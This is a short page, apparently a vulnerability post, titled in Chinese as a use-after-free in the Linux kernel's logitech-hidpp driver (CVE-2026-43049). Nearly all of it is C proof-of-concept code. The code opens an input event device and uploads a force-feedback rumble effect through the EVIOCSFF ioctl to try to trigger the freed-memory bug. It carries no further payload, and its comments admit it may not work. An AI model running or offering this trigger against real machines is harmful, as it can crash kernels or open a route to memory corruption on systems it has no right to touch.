CVE-2026-43049 Linux内核logitech-hidpp驱动UAF漏洞

#include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <linux/input.h> #include <string.h> #include <unistd.h> // PoC for CVE-2026-43049 // This code attempts to interact with input devices to trigger the UAF // if the driver failed initialization but left the device node open. int main() { const char *device_path = "/dev/input/event0"; // Typically eventX for G920 int fd = -1; struct input_event ev; printf("[+] Attempting to open %s...\n", device_path); fd = open(device_path, O_RDWR); if (fd < 0) { perror("[-] Failed to open device"); return 1; } printf("[+] Device opened. Attempting to upload effect to trigger UAF...\n"); // Try to upload a force feedback effect. // This requires the device to be in a state where memory might be dangling. struct ff_effect effect; memset(&effect, 0, sizeof(effect)); effect.type = FF_RUMBLE; effect.id = -1; effect.u.rumble.strong_magnitude = 0x8000; effect.u.rumble.weak_magnitude = 0x8000; if (ioctl(fd, EVIOCSFF, &effect) < 0) { perror("[-] IOCTL failed"); } else { printf("[+] IOCTL succeeded. If kernel is vulnerable, UAF may occur now.\n"); } close(fd); return 0; }